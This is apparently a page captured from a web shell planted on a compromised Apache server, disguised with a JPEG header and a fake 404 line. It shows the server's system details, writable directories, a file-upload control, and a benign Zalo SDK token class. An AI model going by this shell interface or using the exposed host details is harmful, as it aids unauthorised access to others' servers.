ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/trader/vendor/zaloplatform/zalo-php-sdk/src/Authentication/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/trader/vendor/zaloplatform/zalo-php-sdk/src/Authentication/ZaloToken.php
<?php
/**
 * Zalo © 2023
 *
 */

namespace Zalo\Authentication;

/**
 * Class ZaloToken
 *
 * @package Zalo
 */
class ZaloToken
{
    /**
     * The access token value
     *
     * @var string
     */
    protected $accessToken = '';

    /**
     * The refresh token value
     *
     * @var string
     */
    protected $refreshToken = '';

    /**
     * Date when access token expires.
     *
     * @var \DateTime|null
     */
    protected $accessTokenExpiresAt;

    /**
     * Date when refresh token expires.
     *
     * @var \DateTime|null
     */
    protected $refreshTokenExpiresAt;

    /**
     * @param string $accessToken
     * @param string $refreshToken
     * @param int $accessTokenExpiresIn
     * @param int $refreshTokenExpiresIn
     */
    public function __construct($accessToken, $refreshToken = '', $accessTokenExpiresIn = 0, $refreshTokenExpiresIn = 0)
    {
        $this->accessToken = $accessToken;
        $this->refreshToken = $refreshToken;

        $now = time();
        $this->accessTokenExpiresAt = $this->getExpiresAtFromTimeStamp($now + $accessTokenExpiresIn);
        $this->refreshTokenExpiresAt = $this->getExpiresAtFromTimeStamp($now + $refreshTokenExpiresIn);
    }

    /**
     * Returns the access token as a string.
     *
     * @return string
     */
    public function getAccessToken()
    {
        return $this->accessToken;
    }

    /**
     * Returns the refresh token as a string.
     *
     * @return string
     */
    public function getRefreshToken()
    {
        return $this->refreshToken;
    }

    /**
     * Returns the access token expires as a DateTime.
     *
     * @return \DateTime|null
     */
    public function getAccessTokenExpiresAt()
    {
        return $this->accessTokenExpiresAt;
    }

    /**
     * Returns the refresh token expires as a DateTime.
     *
     * @return \DateTime|null
     */
    public function getRefreshTokenExpiresAt()
    {
        return $this->refreshTokenExpiresAt;
    }

    /**
     * Get expires at from timestamp.
     *
     * @param int $timeStamp
     */
    protected function getExpiresAtFromTimeStamp($timeStamp)
    {
        $dt = new \DateTime();
        $dt->setTimestamp($timeStamp);
        return $dt;
    }
}

ZeroDay Forums Mini